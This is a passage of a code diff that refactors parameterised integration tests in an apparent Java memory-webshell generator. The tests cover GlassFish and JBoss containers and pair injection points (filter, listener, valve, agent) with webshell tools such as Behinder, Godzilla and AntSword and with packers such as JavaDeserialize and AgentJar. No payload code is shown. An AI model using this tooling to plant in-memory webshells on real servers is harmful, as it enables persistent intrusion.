arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,56 +42,56 @@ public class GlassFish510ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -43,36 +43,36 @@ public class GlassFish6ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -43,24 +43,24 @@ public class GlassFish7ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,44 +42,44 @@ public class Jboss423ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
